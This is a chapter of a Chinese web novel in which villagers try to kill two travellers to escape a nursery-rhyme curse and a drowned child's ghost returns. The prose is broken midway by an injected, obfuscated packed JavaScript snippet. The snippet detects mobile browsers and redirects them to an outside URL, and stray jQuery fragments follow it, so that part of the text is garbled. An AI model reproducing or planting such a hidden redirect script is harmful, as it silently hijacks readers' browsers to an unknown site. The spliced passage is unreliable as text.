浮生既尽 作品

20. 又见故人

桥上的李松阴着脸看着往桥上跑的人,心道这客栈的吴有善真是会坏事。


李松正是兰溪镇李镇长之子。方才在席上,他与父亲绞尽脑汁的与闻昱攀谈,不时劝酒,硬是将人灌的满身酒气,迷迷糊糊的才走到这桥上,正准备趁着夜深无人,把人推下去,明日一早只消说他是自行离开失足跌下去的。


既解了这次童谣的诅咒,又能不让兰溪镇的秘密暴露。


哪知道,吴有善会突然出现。这下,只能将这姓吴的一并除了才好。


李松只顾着心中恶念,并没发现方才醉醺醺的闻昱猛的睁开了眼,眼底一片清明,哪有半分酒意。


闻昱突然抓住李松的手臂,将人两只胳膊反拧着,把他推到栏杆边,沉声问道:“说,和我一起的那位姑娘呢?”


喘着粗气跑到桥上的吴掌柜,看着眼前逆转的情势,一时呆在原地。


“你没喝醉?不可能,你分明满身酒气.......”李松用力挣动,可却丝毫脱不出闻昱的掌控。


“酒气么......那是因为你们劝的酒都喂了我的袖袍,若不是这样,怎么引得你出手。”闻昱淡声道:“别废话了,和我一起的姑娘呢?”


“我不会告诉你的,今日是最后的时限,她不死,死的就会是我们。”李松咬牙道。


“是么,那不如我现在就把你推下去,再回去将你爹挂上树。这样我相信我想知道的自会有人告诉我。”闻昱不紧不慢的说着,还作势将李松往桥下推了推。


“她在后山下的小木屋......”李松急声道,满脸的汗,也不知是疼的还是吓得。


闻昱将他拉回来,松了手将人朝前一推。”唰“的抬手从腰间抽出沧溟剑,架在李松的颈间。薄唇冷冷的吐出两个字:“带路。”


李松自小长在兰溪镇,虽说后来帮着父亲谋害过那两个书生,但如闻昱这般会功夫的他从未见过。现下冒着寒光的剑就横在颈边,他早已吓得双腿打颤,只得抖抖索索的引着闻昱往那小木屋去。


还不敢抖得太厉害,生怕不小心被那剑锋划破了皮肉,再落个血流不止。


“掌柜的,你也一起吧,留在这可不见得安全。”路过傻在桥上的吴有善时,闻昱轻声说。


吴有善忙不迭的点头,跟在闻昱身侧。


再说凌芜这头,那刘婶将她引进门,还真拿了纸笔出来勾画纹样,还拿出不少布料绣线反复比对,端的是一副认真模样。


直到入夜时分,刘婶似乎才收了兴致,要留凌芜吃晚饭,凌芜也不推辞。只是饭菜上了桌,刘婶却一个劲儿的给凌芜夹,自己倒是半点不动。


凌芜心中好笑,面上却是一副不好意思拒绝的模样。反正这凡间的迷药对她并没什么用,吃了便就吃了,她倒要看看这些人是作什么妖。


凌芜吃着吃着,便装出头晕的模样,最后竟趴在桌上不动了。


刘婶伸出手推了推她,发现果然是晕过去了,便起身将门外的人叫进来,低声说:“晕过去了,将人抬过去吧。”


被人扛着走了一段路,凌芜闭着眼,听到一声“吱~”的开门声,然后那些人将她放在地上便又关上门退出去了。


“刘娘子,现在不动手么?”这是个中年男子的声音。


“还是先等镇长过来吧。”刘娘子摇头低声说。


凌芜闭着眼又等了片刻,发现外面的人不再说话,便缓缓的睁开了眼。


还行,倒是没绑她。


凌芜看了眼四周,发现在她身侧放着条红色的缎子。


她眉梢微挑,暗道:“原来是给我选了红绸系月梢这句啊。”


外面的两人眼见夜色渐浓,马上就要到亥时了,镇长却还未出现,心中便有些着急。


“刘娘子,已经这个时辰了,再不动手只怕晚了。”那中年男子急切道。


夜深了,刘娘子似乎也有些不安,她沉默了片刻便哑声说:“动手吧。”


两人轻手轻脚推开门,却被眼前的景象震在原地。


原本应当晕在地上不省人事的凌芜,正拎着那条红缎子站在屋里,目中含笑的看着二人。


“二位,商量好准备来吊死我了?”


这谈笑自若的模样,哪有半分像是被人药晕了丢在这儿等死的柔弱女子。


门口的刘娘子二人被她这一笑唬的进退失措,恰巧身后传来了几道脚步声,二人心下大喜,定是镇长他们来了。


岂料一转身,险些与脖颈僵直的李松撞了个满怀。


“闻昱,你来的好快。”凌芜扔了手里的红布,拍了拍手道。


刘娘子与那中年男子没想到镇长那边竟也失手了。李松看着好端端站在那的凌芜,心中便知他们连最后的筹码也没有了。


闻昱收了剑,站到凌芜身旁。甫一靠近,凌芜就皱了皱鼻子,调侃道:“你这是喝了多少?”


闻昱无奈一笑:“他们还是那套老把戏,我没喝,都让衣服喝了。”


站在旁边的吴有善沉默了一路,脑子便是再迟钝再是不愿相信,也明白了,哪有什么邀人做客,这些人分明是想让这二位外乡客做替死鬼,好替他们挡一挡那童谣的诅咒。


之前那两位公子,也是他们所害。


“他们也是活生生的人,与你们无冤无仇,你们怎可这般行事?”吴有善心中悲愤交加,怒声喊道。


“我们不过是想活命,要怪也只能怪他们运气不好。”刘娘子瞪着吴有善道。


“今夜事情败露,想是也有你将当年的事说与他二人知晓的原因吧,吴掌柜。”屋外传来了镇长阴沉的声音。


李松三人看着镇长带着人赶来了,顿觉硬气不少,一溜烟儿的站到镇长身后。


李镇长目光森冷的扫过凌芜等人,寒声道:“二位,我们的事情想必你们也都弄清楚了,那么就如何都留不得你们了,至于吴掌柜,你从来与我们便不是一条心,多留也是无益。”


“爹,他们有功夫在身......”李松扯了扯镇长的衣袖,悄声说。


“那又如何,双拳难敌四手,我们这么多人,而且他们自诩侠义,想来不会对我们这些普通人下死手。”镇长低声说。


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15352300|167462||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


李松想起方才闻昱在桥上说的话,心中暗想那可未必,这位正义的郎君可是打算将你挂上树呢。


“噗嗤——”凌芜被他这无耻的言论气笑了,她伸指挠了挠额角,轻声说:“咱们的账先不急着算,只是你们乌泱泱这么大一群人夜半出门,约莫是都做好了与故人相见的准备了吧......”


话音方落,便忽的刮起阵阵阴风,瞬间将众人手中举着的火把全熄灭了。隐隐的有道声音伴随着”吧嗒吧嗒”的脚步声朝这边过来。


“溪边黑水涨,爬出小娃娃......指尖生绿藻,肚中养鱼虾。”


“忽闻夜半语,谁来陪我呀?”


“井底捞小勺,绣剪裁新袄......纸马过木桥,红绸系月梢。”


那声音愈来愈近,愈来愈清晰,镇长身后的人群挤成一团,个个面如白纸,害怕的直哆嗦。


“他来了.......”


“是他,他又来了......”


“就不该听镇长的......”


人群里一时涌出了各种声音。


闻昱抬眸看了一眼吴有善,发现他直直的望着小路的方向,满脸是泪。


这吴掌柜,许是世上唯一一个真心为那个小孩儿难过的当事人。


通向这木屋的沙土路上,渐渐的出现了一个矮小的人影。只是他浑身上下都湿透了,衣服紧紧的贴在身上,还不停地往下滴着水。被水浸透的鞋子似乎很重,走起路来吧嗒作响。


那个人影走近了,是个七八岁的小男孩。面无表情的边走边唱着:“溪边黑水涨,爬出小娃娃......指尖生绿藻,肚中养鱼虾。忽闻夜半语,谁来陪我呀?”


唱到这句时,正好是走到人群边。就看到那群镇民齐齐的背过身,死死的低着头,谁也不敢看这小孩儿一眼。


小孩儿也挺执着,围着那群人慢吞吞转了一圈,最后停在了李镇长面前。木着张湿漉漉的脸,反复拉长语调的唱着童谣:“井底捞小勺,绣剪裁新袄......纸马过木桥,红绸系月梢......”


李镇长这人应该是好面子的,所有人都背过身去了,只有他直挺挺的保持原样。但抽动的眼皮和用力抿紧的嘴角足够让人看出他内心的恐惧了。


许是发现这些人不打算回应自己,小孩儿的声音猛的拔高,语速也变快了不少。


“吴有善,若不是你多嘴,不是你坏了我们的计划,今晚我们也不会碰上这一遭。”李松恨声喊道。


一语激起千层浪,缩在一起的人纷纷应和。


“就是啊,当初也是你,不顾我们大家的性命,想要偷偷放走他,如今呢?不还是和我们一起困在这破地方等死!”


这些人似乎突然找到了宣泄心中恐惧愤怒的对象,都将矛头对准了不发一言的吴有善。


蓦地,立在镇长面前的小孩儿开始笑,尖锐的笑声夹杂着一声低语:“那你们......就都来陪我吧。”


小孩儿看了一眼镇长,飘到李松的耳边,低声道:“嘻嘻.......就从你开始吧......”